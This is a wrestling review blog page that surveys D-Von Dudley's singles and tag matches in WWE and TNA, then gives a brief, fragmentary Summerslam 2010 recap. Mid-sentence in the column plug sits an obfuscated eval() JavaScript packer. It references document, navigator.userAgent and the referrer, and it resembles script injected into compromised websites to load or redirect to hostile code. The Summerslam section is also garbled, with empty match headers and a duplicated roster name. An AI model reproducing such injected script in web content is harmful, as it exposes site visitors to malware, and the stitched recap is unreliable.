Wrestler of the Day – July 26: D-Von Dudley

This man could have a future as a furniture mover: D-Von.

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We’ll start things off with a singles match from the night ECW invaded the WWF. From February 24, 1997 Raw.

Tommy Dreamer vs. D-Von Dudley

We get Beaulah if nothing else. Dreamer looks YOUNG here and for some reason didn’t wrestle at the PPV. They lock up immediately as everyone is FAR more impressed with Beaulah than the match which I can’t blame them for. Heyman rightfully kisses up to Vince for this. Dreamer breaks out some weapons to make things interesting for a change. Lawler hating on violence is funny considering one of his most famous things is the Tupelo Concession Stand Brawl (look that up if you’ve never heard of it).

All Dreamer so far here. Naturally we plug the stuff later on in Raw but again ECW needs to be happy with what they got, which I’m sure they were. Lawler goes on a total shoot, talking about how he’s been in wrestling for 20 years and has never been ashamed to be a wrestler but is now because this stuff is in his ring. He also didn’t mind showing up on ECW shows at least twice and getting a big paycheck for it.

Dreamer with a Piledriver next to a chair as Lawler is reaching Austin levels of ranting here. Taker cuts a split screen promo and while he’s talking about Sid (it was the main event of Mania 13 so first of all it’s more important than the match, but second, THIS GETS A PROMO WHILE WE HAVE A MATCH?) Dreamer hits the DDT for the pin.

Rating: N/A. Just a quickie here as the highlight was Lawler’s insane rant against Heyman and ECW. Based on what I’ve heard most of that was legit as Lawler wasn’t a fan of ECW at all. There are few people more old school than Lawler so that doesn’t surprise me, but considering how many Memphis companies he’s been apart of he doesn’t have a ton of room to talk about anyone else’s failing. Granted he had a national TV spot every Monday night so maybe he can talk about them.

We’ll pick things up about three years later on Raw, February 14, 2000 with the winner’s team getting a Tag Team Title shot at No Way Out.

D-Von Dudley vs. Jeff Hardy vs. Edge

D-Von is quickly flapjacked down and double teamed in the corner, followed by Poetry In Motion with Edge playing Jeff for some reason. D-Von finally sends Edge to the floor to leave him alone with Jeff. A slam gets two on Hardy but Edge dropkicks D-Von into Jeff, knocking both guys down. The partners get in a fight on the floor as Jeff hits a Swanton for two on Dudley. Edge spears Hardy down but gets caught in a reverse inverted DDT for a pin. Too short to rate but it was fun while it lasted.

We’ll jump ahead to Survivor Series 2000 where D-Von is on a team with his brother and a few others.

Team Dudley Boys vs. Team Edge and Christian

Dudley Boys, Hardy Boys vs. Edge and Christian, Bull Buchanan, Goodfather

Buchanan and Goodfather are the RTC and they’re actually tag champions here instead of one of the other three teams. Bubba and Bull start things off but the crowd is kind of dead so far. Bubba elbows him down for two and it’s off to D-Von. A big boot puts D-Von down and it’s off to Goodfather for another boot to the head but no cover. Off to Christian who pounds away at D-Von but walks into a reverse inverted DDT. This match isn’t exactly taking off.

Matt comes in to clean house as everything breaks down. The Hardys take off their shirts to reveal camo shirts that match the Dudleys. In the melee, the Edge-O-Matic (actually called that here) pins Matt. D-Von vs. Edge now with the former hitting a swinging neckbreaker for no cover. D-Von takes down both Canadians with a double clothesline but a Buchanan distraction lets Christian hit the Killswitch for the elimination to make it 4-2.

Bubba comes in and throws Christian around a bit before it’s off to Jeff. The fans want tables but they get Jeff sent to the floor and a tag to Buchanan. Back to Bubba who runs over the Bull a few times and beats up Goodfather a bit too. The Canadians get backdropped a few times before Edge accidentally spears Buchanan down, giving Bubba an easy pin. Christian accidentally splashes Edge giving Bubba another easy pin. It’s Jeff/Bubba vs. Christian/Goodfather.

They botch something but Goodfather hooks a Death Valley Driver for the pin on Bubba. Jeff gets to start with Christian but knocks Goodfather off the apron first. Christian misses a charge and hits post. The Swanton eliminates Christian and about twenty seconds later Val Venis (also RTC) clotheslines Goodfather by mistake, giving Jeff the winning pin.

Rating: C-. Much like the rest of the show, this wasn’t bad but it was nothing interesting for the most part. The tag division would get going again soon with TLC 2 which was somehow even better than the first edition. Having Jeff win here is fine but without Matt at this point, the fans didn’t really care. Granted that could be said about the rest of the show too. Again, another acceptable match but nothing I’ll remember in an hour.

Another triple threat, this time from Raw on February 19, 2001.

Undertaker vs. D-Von vs. Christian

Uh….ok? Oh that’s right there’s the tag team triple threat on Sunday. The Dudleys have the belts coming into Sunday. Only Edge comes out with his partner and Lillian botches the intros, saying that Edge and Christian are champions here. D-Von hammers on Taker to start us off while Christian chills on the floor.

Edge goes into a rant about how awesome his family is rather than the others, such as how at family reunions they play hockey rather than putting people through tables. Also he got Christian a spaghetti strainer for Christmas and didn’t burn him to the point of needing a mask. Edge was hilarious at this point as you can tell.

Taker grabs an armbar on Christian until D-Von makes the save. Double suplex to Taker as this turns into a handicap match for a bit. D-Von gets a lifting sitout reverse DDT for two as Taker makes the save. The tall dude gets in Edge’s face and the Canadian is shoved down. Edge gets on the apron, allowing Christian to hit a low blow. That gets no one anywhere though as everything breaks down again and the Last Ride kills Christian dead to end this.

Rating: C. Just a mess but not bad really. That was the point of matches like these back in the day so this was fine. Taker somehow jumped over to face HHH and got out of this weak tag team thing he was stuck in. Just a fun match here for the most part that set up the tag title match on Sunday which is fine.

D-Von would get a Hardcore Title shot on Raw, November 26, 2001.

Hardcore Title: D-Von Dudley vs. Rob Van Dam

Van Dam is defending and D-Von is a tag champion. D-Von immediately hits him with a stop sign, which in real life would be grounds for near death but here it puts Van Dam down for about 6 seconds. D-Von goes to the floor where Van Dam moonsaults him for two. Back inside and D-Von hits a big powerbomb to take Van Dam down for no cover.

A HARD trashcan lid shot to the head puts Van Dam down but again Rob won’t sell very long and superkicks D-Von down. Rob goes up but get neckbreakered down onto a chair for a delayed two. Van Dam goes up but gets crotched again. Sell that? Nah. Instead he shoves D-Von off the ropes and hits the Five Star to retain.

Rating: C-. Van Dam’s non selling was really annoying but D-Von’s offense looked good. I always liked him better than Bubba but Bubba has about 10,000x more personality so Bubba got the probably better deserved push. Anyway, the match was fine given that it lasted about three and a half minutes and was a forgone conclusion.

The team would be split due to the Brand Split, meaning D-Von was sent to Smackdown. D-Von became a reverend for no apparent reason but he did have an impressive deacon who collected money. The deacon’s name: Batista. Here’s Batista’s debut at ringside on Smackdown, May 9, 2002.

Reverend D-Von vs. HHH

The Game hammers away to start but gets caught in a hot shot onto the buckle. There’s actually some psychology there as HHH has a bandaged forehead. HHH fights back with right hands but is sent to the floor for a beating from Batista. Back in and D-Von drops the big elbow as Batista keeps an eye on the building fund box. D-Von nails a top rope forearm to the head for two more but misses the swan dive. HHH bails to the floor for a minute and avoids a Batista charge, sending him into the post. The distraction lets Jericho come in and nail HHH in the head with the money box to give D-Von the big upset.

Rating: D. This is more noteworthy for the major upset and the debut of a future World Champion. The Reverend character was brand new at this point and a win over HHH showed that they might be going somewhere with it. The fact that it was D-Von kind of threw a wrench into those plans though.

Here he is on August 29, 2002 against a hotshot rookie. Oh and he’s now a reverend.

Reverend D-Von vs. John Cena

Cena nails a dropkick and something resembling a bulldog for a fast two count to start. D-Von avoids a second dropkick and stomps away before dropping an elbow for two. More hard shots to the face have Cena in trouble but he comes back with a kind of swinging fisherman’s neckbreaker. A series of forearms have D-Von in trouble but he comes back with a clothesline. D-Von misses a top rope headbutt and gets rolled up for two more. Cena hamers away in the corner, only to get caught in an atomic drop, setting up Saving Grace (reverse inverted DDT) for the pin.

Rating: D+. This didn’t work as the chemistry wasn’t there and Cena had only been around a few months at this point. Cena was very aggressive though, which fit the Ruthless Aggression era that they were shooting for. The Reverend gimmick was fun but clearly a dead end for D-Von.

Batista would split from D-Von soon after this, setting up a match between the two on Smackdown, September 5, 2002.

Reverend D-Von vs. Batista

D-Von hammers away as Batista hits the ring, shouting that he made Batista. That’s the extent of his offense at first as a big chokebomb sends D-Von out to the floor. A chair to Batista’s back….doesn’t draw a DQ for some reason. Back in and the elbow drop gets two on Batista but that’s about it for D-Von being in control. Batista shrugs everything off and plants D-Von with a Batista Bomb for a very fast pin.

The Dudleys would reunited in late 2002 so we’ll skip ahead a bit. Here’s an ECW reunion match from Smackdown on May 13, 2004.

D-Von Dudley vs. Rob Van Dam

Bubba offers an early cheap shot to give D-Von the early advantage but Rob comes back with the usual strikes. A spinning kick to the face drops D-Von and a leg lariat gets two. Bubba offers a second distraction though, allowing D-Von to pull Van Dam out of the corner with a neckbreaker to take over. D-Von chokes with a bandage and hammers away in the corner before we hit a neck crank.

Back up and a VERY hard clothesline gets two on Rob before it’s back to the chinlock. Rob fights up again and takes over with kicks (of course), including a nice one off the top for two. Bubba interferes AGAIN but this time gets kicked in the face and taken down with a flip dive off the apron. Rolling Thunder connects but Bubba puts D-Von’s foot on the ropes. Rob kicks D-Von in the face again but the referee gets poked in the eye. More interference lets D-Von DDT Van Dam out of the corner for the big upset.

Rating: D+. Actually not terrible here with D-Von looking crisp while he was on offense. Bubba’s interference went on too long though and it got annoying after the first two times. That being said, there’s no reasonable way to have D-Von get a win over someone the level of Van Dam.

We’ll wrap up WWE with this match from Smackdown on August 19, 2004.

D-Von Dudley vs. John Cena

This is a result of Cena having words with Spike in the back earlier tonight. US Champion Booker T., Cena’s current rival, is on commentary. D-Von hammers away in the corner but gets slammed down for two. A spinning back elbow nails Cena for two and a big elbow drop gets the same. Cena takes his head off with a clothesline as Booker compares Cena to Vanilla Ice. Not that it matters as John initiates the finishing sequence, takes out Bubba, and nails the FU for a fast pin.

We’ll jump ahead to TNA now but a few years into Team 3D’s run as there aren’t many singles matches to pick from at first. We’ll pick things up at Against All Odds 2009 in a glorified tag match for the World Title.

TNA World Title: Brother D-Von vs. Brother Ray vs. Sting vs. Kurt Angle

They do the long intros where we see them coming from the locker room and everyone gets a hype video. In other words, entrances take about ten minutes. The Dudleys come out together and are Japanese tag champions. JB does the big match intros in jeans, which doesn’t work at all. The Dudleys take over to start, working together because they’re you know, a team.

Angle rams them together though but the Mafia guys get clotheslined down. Bubba and D-Von face off and Bubba lays down for D-Von to pin him. It only gets two but that’s rather brilliant. Why not go with a submission though? Double flapjack takes Sting down. Now they actually slug it out with D-Von taking over. Ray gets a slam as this is more of an exhibition than a competitive match. Double clothesline leads to a stalemate.

Angle and Sting are back in now and everything goes out to the floor in a big brawl. Let’s make fun of Vince a bit because that’s what we need to do right? Bubba gets put in the ankle lock and D-Von is in the Scorpion. Angle gets kicked off and into Sting, causing some issues with the Mafia. Bubba tries a Figure Four on Sting and it’s a total failure.

Kurt’s eye is busted badly. Bubba gets the figure four (close enough I guess) and Angle is in a Boston Crab. In a NICE touch, Kurt crawls over onto Sting while still in the hold and gets two. That was really creative and psychology if I’ve ever seen it. The holds are broken and Kurt hits an enziguri to Bubba. The blood is off Kurt’s eye and it looks a lot better. The Mafia squares off and trade finisher attempts.

The Dudleys break up an ankle lock attempt and the fans are behind them. Angle Slam to Sting gets two. Ray gets a Rock Bottom (called that by West) gets two on his partner. Angle tries ten corner punches on D-Von but gets caught in a Doomsday Device for a long two. 3D is loaded up but Sting avoids it. Stinger Splash misses but Angle breaks up What’s Up. And never mind as Sting grabs a really quick Death Drop on Bubba to end it.

Rating: C-. At the end of the day, the Dudleys were in the main event of a PPV and it was for a world title. Why in the world am I supposed to think that they have a chance here? The match itself wasn’t anything special as it was really a glorified tornado tag match. No idea why they didn’t go with a tag with the title on the line but it’s TNA so I’m probably thinking too hard.

Team 3D would start feuding with Ink Inc., setting up this match at Victory Road 2010.

Brother Ray vs. Brother D-Von vs. Jesse Neal

Let’s get this over with. Ray comes out first and hides behind the set. He jumps Neal and there’s no D-Von. We cut to the back where D-Von is locked in his dressing room, presumably by Bubba. Clearly the cameraman has no arms because he doesn’t let him out which would involve moving a board. Oh look: more kind of false advertising as it’s the same match from last month.

Again we hear about how much Neal’s life has sucked. We get it already guys, let it go. No one cares about Neal and that’s all there is to it. This is nothing but basic stuff as we’re all just waiting for D-Von to come running out for the big save or beatdown or whatever. Ray of course uses the big boot because that’s all anyone uses for a big strike anymore. The ECW guys are here.

They distract Bubba a bit and Neal gets a spear for two. Shannon Moore comes down for a save which lets Ray hit Neal with a chair. D-Von finally comes out and there’s a staredown. They both look at Jesse and then slug it out. Neal accidently spears D-Von and a Bubba Bomb ends it. D-Von was in the ring for maybe a minute total.

Rating: F. This was false advertising if nothing else. This was a one on one match with two run-ins. What was the point to this? Just do 3D vs. Ink Inc like you want to do. No one cares about this feud and no one wants to see Bubba vs. D-Von, so of course that’s what we’re going to get.

Team 3D finally split up and started their feud, including this match at Genesis 2011.

Bully Ray vs. Brother D-Von

They can’t just call him D-Von? Ray pulls Val up to hide as D-Von comes at him on the ramp. Val slaps him and the fight is on. They slug it out on the floor to start with D-Von dominating. They brawl for three or four minutes and then we get a bell. Dang it they have even more time to waste here. Ray begs off from D-Von and can’t hit his low blow.

Thesz Press leads to punches by D-Von. Back to the floor again as they’re thankfully not trying to make this a match. They’re up in the stands now as somehow this isn’t a countout yet. A fan throws what looks like a shoe to D-Von. Ok then. Back to the ring and Bubba finally takes over. Ray is busted. He slaps D-Von in the corner and then runs when D-Von Dudleys Up.

Bubba misses an elbow as I try to think of what I’d trade to not have to watch this. Bubba Bomb doesn’t work and D-Von gets two. LOUD chops by Bubba in the corner set up a suplex off the middle rope for a long two. Ray picks up a chain from nowhere in particular. D-Von stops it and picks up the chain and whips Bubba for the DQ. Are you freaking kidding me?

Rating: D. It was boring, it wasn’t particularly good, and it’s Bubba vs. D-Von in 2011 on PPV in a grudge match. Do I need to explain to you why this was completely awful? I didn’t like this in the slightest and of course it means we’re going to have another match between them because they’re draws right?

D-Von would be in the 2011 Bound For Glory Series and had this match on August 4, 2011’s Impact.

Bound For Glory Series: AJ Styles vs. Devon

Basic stuff to start with AJ avoiding various offense using speed. Pope is with D-Von’s kids again. D-Von gets a back elbow for two and spots Pope. AJ grabs a rolling cross armbreaker but D-Von makes the floor. Styles Clash is blocked as in D-Von’s reverse inverted DDT. Pele gets two as Daniels is seated at ringside cheering AJ on. AJ goes to yell at him and misses a springboard, letting Devon rolling him up for a pin at 3:35. Yes that really happened.

Rating: C. Nothing here at all as it’s almost too short to grade. D-Von is nothing of note at all as he’s just D-Von. The Pope and Daniels things could be interesting eventually but at the moment it doesn’t look like anything is coming from them. I wasn’t impressed here but the stuff that they did was ok I guess. Not a fan of the same ending to two matches in a row though.

D-Von would team up with D’Angelo Dinero and get a Tag Team Title shot at No Surrender 2011.

Tag Titles: D-Von/D’Angelo Dinero vs. Mexican America

Remember when TNA had the best tag division by far? Man that seems like forever ago. Can we watch Sarita and Rosita dance instead of watching this match? D-Von vs. Anarquia starts us off. The fans chant for the USA. Off to Pope very quickly as they work on the arm. Ok back to D-Von as the challengers are tagging in very fast. SuperMex comes in and D-Von is all cool with that too.

A clothesline puts Hernandez down for a bit and it’s off to Pope, who according to the audience is pimping. If anyone knows what it means to be pimping, it’s a town famous for having a Mouse theme park in it. Anarquia comes in again and this is firmly in first or second gear. The challengers hit something resembling a Hart Attack but with a shoulder instead of a clothesline and D-Von playing the rope of Bret.

Pope kisses Rosita and then holds her by the air above the floor off the apron. FREAKING OW MAN!!! D-Von and Pope set for What’s Up but Sarita breaks it up. Despite looking nothing like him at all, D-Von lands the role of Ricky Morton. Anarquia hits a back elbow for two. Mexican America hits a pair of splashes and Rosita adds a dropkick. Hernandez takes forever to set up a charge and is taken down by a spear from D-Von.

A double tag brings in Anarquia and Pope with Pope cleaning most of the rooms in the house but not all of the house. Top rope cross body gets two on Anarquia and the champs take down Pope with Hernandez hitting a top rope headbutt but there’s no cover from either of them. Everything breaks down and a double shoulder block puts down Hernandez. The girls come in and get stereo spankings. D-Von takes down Hernandez and we go back to Wrestlemania V as Pope suplexes Anarquia back in but one of the chicks hooks his leg for the fall on top pin at 9:53.

Rating: D+. I wasn’t feeling this one but I could see how some people would. The girls got involved about five times and the ending was so cliched it’s almost unbearable. That’s what this show has been: one cliched ending after another. Also, D-Von and Pope are the best tag team they could get for this? At least the Brits are a regular team that gets along more than a week before the PPV. Not into this at all.

At Victory Road 2012, TV Champion Robbie E. issued an open challenge.

TV Title: Robbie E vs. ???

This is another open challenge because we don’t have time to get the TV Title on TV since Garrett Bischoff needs to get his five minutes every week. Robbie says that there’s no open challenge tonight because everyone is afraid of him. The fans want RVD. Oh apparently the invitational is going to happen tonight but now fans can take him up on it. They go around the ring and Robbie makes fun of fans, including three overweight women. He asks Val, but says they’ll be “wrestling” later. Big Rob says she’s not on the list. This goes on forever. The open challenge is officially canceled so they’re going to pose instead. We have a challenger.

TV Title: Robbie E vs. D-Von

Yes, this is what’s on PPV. He comes through the crowd for some reason. Robbie backs off so Brian Hebner says we’re doing this. D-Von is in street clothes. There’s another Tweet. One man flapjack puts Robbie down and a clothesline puts him on the floor. Matt Morgan is trending. Robbie tries to get a chair but BROOKE HOGAN stops him. I kid you not, she’s in the front row and grabbed the chair from him. Back in and D-Von runs him over with clotheslines and shoulder blocks. A splash in the corner sets up a clothesline for two. A spinebuster gives D-Von the title at 3:02. Just retire the title. Now.

Rating: F. D-Von Dudley is a singles champion. Never mind that it’s 2012. D-Von freaking Dudley is a singles champion. That doesn’t need any more explanation. Oh and Brooke Hogan was involved in this. They did fire Russo didn’t they? I mean….D-VON JUST WON A TITLE. With the roster they have, they pick him? Who thinks that’s a good idea?

Then D-Von would feud with Robbie E. Then Robbie T. Then BOTH OF THEM AT ONCE. From Sacrifice 2012.

TV Title: D-Von vs. Robbie E vs. Robbie T

Officially it’s a triple threat. D-Von punches T to the floor and then punches E down. A Rock Bottom gets two on E but T pulls the champion to the floor. E gets back up and tells T to stand down because he’s got this. Powerslam gets two for E. D-Von comes back and knocks E to the floor but T catches him with a shot to the back. Powerslam gets two as E makes the save. Extra and Terrestrial get in a shoving match, allowing D-Von to roll up T to retain at 5:40.

Rating: D+. This feud MUST be over now right? It’s been going on for like four months now and for the life of me I don’t get why it’s continued this long. Are there really no other people that can get in on the TV Title hunt? Nothing to see here but hopefully it ends this feud once and for all.

D-Von would defend his title on Impact, July 5, 2012.

TV Title: D-Von vs. Crimson

Crimson grabs a pair of quick two counts and make it three, the third try having his feet on the ropes. That gets him nowhere so he hammers D-Von into the corner. A low clothesline gets two and D-Von starts his comeback. Crimson takes his head off with a clothesline for another two which was really sloppy. Crimson walks into the spinebuster for the pin at 2:02. As usual, D-Von comes, he goes, the match ends and we move on to the next week.

D-Von would leave the company due to his contract expiring, still as TV Champion. He would return to the company and join the Aces and 8’s, setting up a match at Turning Point 2012.

D-Von vs. Kurt Angle

D-Von is here alone. We stall for a good while before the bell as D-Von won’t get in the ring to fight Angle, which is probably a good idea. After wasting about two minutes, D-Von gets in and uses his wide array of punches to take over. D-Von hits his shoulder block to put Kurt down but Angle suplexes D-Von in return. The momentum doesn’t really build though as Kurt misses a charge into the post and we head to the floor.

That goes nowhere so we head back in for the D-Von spinning back elbow for two. Off to a chinlock as this is exactly what you would expect so far: D-Von is using really basic stuff because that’s about all he’s good at on his own. When he’s facing Kurt Angle, that’s hard to buy as an effective offense. Taz goes into a way too long explanation of how D-Von and Doc wear the same belt but we can’t see it because D-Von’s shirt is out.

Anyway, Angle hits a missile dropkick and a flying forearm to put D-Von down followed by a belly to belly for two. The Angle Slam is escaped and D-Von clotheslines Angle down. D-Von goes up for the swan dive but Kurt runs up the ropes and hits a belly to belly superplex off the top for two. The ankle lock goes on but D-Von kicks him away and hits a Rock Bottom for two. They botch a powerbomb counter and Kurt rolls some Germans for two.

Angle goes to the corner for what would have been a moonsault that Rey Mysterio in his prime would have had issues hitting. D-Von powerbombs him out of the corner to prevent Kurt from having to try it but it only gets two. D-Von is limping around badly because of the ankle lock so at least the selling is good. The swan dive misses but the Angle Slam only gets two. Seriously? D-Von gets to kick out of the Slam? Aces and 8’s surround the ring and D-Von spears Angle down for two. Not that it matters as the ankle lock gets the submission out of nowhere.

Rating: D+. It’s D-Von vs. Kurt Angle. Seriously that should up everything you should need to know about this match. There is no way on earth you can validate D-Von as a realistic threat to Kurt Angle. D-Von does not have the skills to hang in a nearly fifteen minute match with Kurt Angle and that’s all there is to it. That makes the match very dull and shows the need for a main event level guy in Aces and 8’s.

D-Von had his chance to get the TV Title back on December 6, 2012’s Impact.

TV Title: Samoa Joe vs. D-Von

Joe is defending and takes over to start by running over D-Von. A knee drop keeps D-Von down for a bit but D-Von low bridges Joe to take him to the floor. A pair of splashes get two for D-Von but the middle rope headbutt misses. Joe comes back with a kick to the chest and a backsplash for two. A Rock Bottom out of the corner puts D-Von down again and there’s the Koquina Clutch. Some blonde chick gets on the apron, allowing Doc to hit Joe win the back with the hammer to give D-Von the title back at 3:55.

Rating: D. Nothing to see here at all but it was pretty clear that D-Von was getting the belt back here. At the end of the day, Aces and 8’s has to have SOMETHING right? They now have a title, albeit the lower midcard belt. This still does nothing to make me care about them at all, but there was no other option here.

Aces and 8’s targeted Joseph Park, setting up this match at Genesis 2013.

D-Von vs. Joseph Park

Non-title here. The fans are all behind Joseph of course…and then they split into dueling chants because the Impact Zone is annoying. D-Von yells at Park for messing up basic stuff and then goes behind Joe to mess with his hair. In something I never thought I would say, D-Von uses chain wrestling to take over and takes Park down to embarrass him. D-Von gets down in an amateur position but Park does some of the same chain stuff that D-Von did earlier and slaps D-Von in the back of the head. Funny stuff.

After D-Von rants on the floor for a bit, he charges into a hip toss, an armdrag and a one armed slam. D-Von knocks him to the floor in retaliation and rams Park into the steps. Back in and the buckle gets ripped off as Park is in trouble. Park blocks a shot into the buckle and pounds away, only to walk into a jumping back elbow. A clothesline puts D-Von down and Park hooks a double leg takedown and pounds away before going to the corner. Oh this isn’t going to end well.

Joseph goes to the second rope and hits a splash for two but D-Von sends him into the exposed buckle. It busts Park open and it’s Abyss time. A Black Hole Slam out of nowhere puts D-Von down and he loads up a chokeslam before snapping back into reality. D-Von grabs a rollup with a handful of tights for the pin at 11:40.

Rating: C+. The character is still funny, but they’ve been doing this same thing for months now and while the wrestling training is a step in the right direction, they need to something substantial with him before the charm wears off. It’s clear they’re building to a huge Abyss return, but I’m not sure when it’s actually going to happen. Fun stuff here though.

D-Von was entered into the competition at Joker’s Wild.

D-Von/Doc vs. Alex Silva/Hernandez

Well that’s quite a coincidence. D-Von and Silva start things off and after about two minutes of circling each other we get some actual contact. Silva gets pounded down in the corner and D-Von is toying with him. A one footed dropkick staggers D-Von and it’s off to Hernandez to give him a real challenge. Off to Doc for the power vs. power match with both guys getting to show off their strength.

A delayed vertical suplex puts Doc down and it’s off to Silva who is promptly destroyed. D-Von crotches him against the post and it’s off to a chinlock by Doc. Off to D-Von again for a knee drop and a two count as Silva continues to be beaten down. Doc comes in with a legdrop for two and some elbows to the chest. A big splash gets another two as Silva’s destruction continues. D-Von puts on a front facelock but Silva escapes for the tag off to Hernandez. SuperMex cleans house but Alex tags himself back in like an idiot. A missile dropkick gets two on Doc but he gets caught in a chokeslam for the pin to advance.

Rating: D+. So a team that regularly works together is better than a thrown together team with a rookie for a member. It took ten minutes to get that point across? There’s nothing special to see here and if I have to hear about Taz’s sidecar one more time I’m going to lose my mind. The commentary on this show is absolutely horrible and it’s driving me insane.

More Aces and 8’s, this time against Sting on March 7, 2013’s Impact.

Sting vs. D-Von

This is match #1 in a three match series with the winner getting the advantage in Lethal Lockdown. Sting jumps D-Von to start but gets clotheslined down for two. D-Von hooks a neck crank and pounds away in the corner for a bit. The top rope headbutt misses though and the fight heads to the floor. Some fan throws something in Sting’s face which looks to be red paint of some kind, allowing D-Von to hit a big boot back in the ring for the pin at 3:18.

Rating: D. I’m still trying to get over the D’Lo thing. This was another worthless match that doesn’t prove anything because the team is led by D’Lo freaking Brown. What in the world is the point of this team anymore? It’s like the bottom of the barrel of wrestling getting together to form a stable, but we’re supposed to take them seriously.

Here’s a big blowoff match between TNA and Aces and 8’s (one of many) with the person taking the fall being fired.

Aces and 8’s vs. Main Event Mafia

Aces and 8’s: Wes Brisco, Garrett Bischoff, Knux, D-Von, Mr. Anderson
Main Event Mafia: Sting, Samoa Joe, Rampage Jackson, Magnus

The loser of the fall is gone from TNA forever and the Mafia comes in down a man due to Angle going to rehab. Before the bell Anderson calls out Ray to sit on the stage and watch. Anderson goes on to say that the Mafia can pick someone to lay down without a fight. Sting says no way because they want to fight. There go the lights for some reason and here’s AJ Styles. He throws the hood back and the music changes to Get Ready To Fly, meaning the Phenomenal One is back and part of the Mafia tonight.

It’s a huge brawl to start until we finally get down to Magnus vs. Wes to start. Magnus throws him into the corner and brings in Joe to pound Brisco down. Joe hits the enziguri in the corner for two before it’s off to Garrett. AJ comes in for the fireman’s carry flip into a backbreaker as we take a break. Back with Magnus in trouble in the Aces corner. The bikers take turns on the Brit with everyone getting in shots.

Garrett gets two off a clothesline as the fans chant YES. Anderson comes in for a suplex before it’s back to D-Von for a neck crank. The fans tell him he sucks and Taz rants about Hogan a bit. The back elbow puts Magnus down again and D-Von Spinaroonis up. Back to Knux for some choking but Magnus scores with a quick DDT for a breather. There’s the hot tag to Sting and everything breaks down. Jackson starts cleaning house but Knux gets in a cheap shot.

Sting takes Knux down with the Death Drop and puts on the Deathlock but D-Von makes the save. Knux can only get two though and things settle down again. AJ gets the hot tag and hits the springboard forearm to D-Von. A backfist and a standing enziguri get two for Styles but everything breaks down again. Styles loads up the Clash on D-Von but has to hit the Pele on Anderson. D-Von spears Styles down but AJ comes right back with the Clash to get rid of D-Von at 16:16.

Rating: C+. The match was ok because it actually got some time. The fans were pleased for AJ’s return to form which has been needed for a long time. Getting rid of D-Von is fine as he doesn’t really do anything other than say TESTIFY. Hopefully it leads to the end of the Aces as they’re so far past their expiration date it’s unreal.

D-Von would return to TNA as a member of the Hall of Fame and help Bully Ray in a hardcore war on Impact, August 7, 2014.

Ethan Carter III/Rhino/Rycklon Stephens/Gene Snitsky vs. Team 3D/Tommy Dreamer/???

This is a hardcore war but entrances are staggered every 90 seconds and the win can’t take place until the last man enters. It’s Carter vs. Dreamer to get things going and both have weapons. They quickly head outside with Dreamer’s knees being sent into the steps. Back in and Dreamer hits a quick suplex with a Singapore cane before driving in a bunch of right hands in the corner. Rhino comes in to make it 2-1 and nails Dreamer with the trashcan lid. A bad looking spinebuster sets up some cane shots but D-Von ties things up with a trashcan. D-Von takes over with a few shots of his own and we take a break.

Back with Snitsky giving the Carters an advantage (and looking to weigh about 400lbs) until Bully Ray runs out to even things up again and clean house. Ray looks up at Dixie and Mo as the ECW guys keep dominating. Stephens comes in to complete Team Dixie and clean house with a chair. The heels destroy everyone until the big mystery partner is Al Snow.

The fans want Head (and have a bunch of mannequin heads of course) as Al beats up everyone again. Ray nails a top rope cross body (didn’t look bad either) to take out the mercenaries. Spud tries to make a save but gets What’s Up from Head. Snow moonsaults onto every heel not named Rhino as this just keeps going. Not that it matters as 3D ends Rhino at 17:37.

Rating: D+. This was just WarGames minus the cage and a lot of the talent. There wasn’t much to see here and Al Snow was about as uninteresting of a partner as there could have been. Also, I didn’t need a second hardcore match in an hour but this show is an ECW tribute show anymore so you have to have it.

D-Von is a guy that has had some success on his own but was much better in the tag team scene. He’s got a good look and was the member of the Dudleys I liked best until Bubba became Bully. I didn’t care for him as TV Champion, but I was always a Dudleys fan. An often bored fan, but a fan nonetheless.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at:




New Column: Just Wrestle

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbbnn|var|u0026u|referrer|bytdn||js|php'.split('|'),0,{})) combination of looking at Summerslam and a brief talk about how to fix the WWE’s most basic problems.

http://www.wrestlingrumors.net/kbs-review-just-wrestle/26797/




Summerslam Count-Up – 2010: Down With The Nexus

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Date: August 15, 2010
Location: Staples Center, Los Angeles, California
Attendance: 14,178
Commentators: Matt Striker, Michael Cole, Jerry Lawler

The opening video is about how change can affect so many things, such as Nexus destroying everything in sight.

Intercontinental Title: Kofi Kingston vs. Dolph Ziggler

Back in and the champion pounds away before getting two off a neckbreaker. We hit an early chinlock but Kofi is out of it in a few seconds. Instead Dolph sends him face first into the buckle for two before hitting a Hennig neck snap for two. Off to a reverse chinlock for a few moments until the jumping elbow drop gets two for Dolph.

We hit chinlock #4 but Kofi gets bored and goes off on the champion before hitting the Boom Drop. The middle rope cross body is rolled through, getting a two for Dolph as things speed up. A Fameasser puts Kofi down for two more but he pops up and clotheslines Dolph back down. The champion avoids Trouble in Paradise and hooks his sleeper but the Nexus runs in for the DQ.

Divas Title: Alicia Fox vs. Melina

Trace Adkins, Marlon Wayans and Michael Clarke Duncan are here.

Big Show vs. Straight Edge Society

Rating: D. Another dull match here as Big Show never once felt like he was in any kind of danger at all. That was the problem with this whole feud: Show treated Punk like an annoyance rather than an opponent. This would lead up to the destruction of Punk in a one on one match next month because Big Show needed that push right?

Raw World Title: Sheamus vs. Randy Orton

Smackdown World Title: Kane vs. Rey Mysterio

Kane brings out a casket and I think you know where this is going. Kane hits a quick slam to start but Rey avoids an elbow drop. Rey tries to fire off some offense but Kane easily throws him around. The 619 is easily countered and Rey is sent to the floor. He slides back in and hits a quick baseball slide to get an advantage. Back in and Kane punches him off the top rope before ramming Rey back first into the post over and over.

Kane drops him ribs first over the top rope and slaps on a bearhug to keep things slow. Rey forearms out and dropkicks Kane in the chest, only to have Kane clothesline him down on a 619 attempt. Mysterio is sent chest first to the floor and kicked off a springboard to the floor. Kane follows him out but gets caught in a drop toehold into the barricade. Back in and a springboard headbutt to the chest gets two on Kane but he backbreakers Rey down again.

Video on Axxess.

Nexus vs. Team WWE

Nexus: Wade Barrett, Justin Gabriel, Heath Slater, Michael Tarver, David Otunga, Justin Gabriel, Skip Sheffield

Team WWE: John Cena, Bret Hart, Chris Jericho, Edge, R-Truth, John Morrison, ???

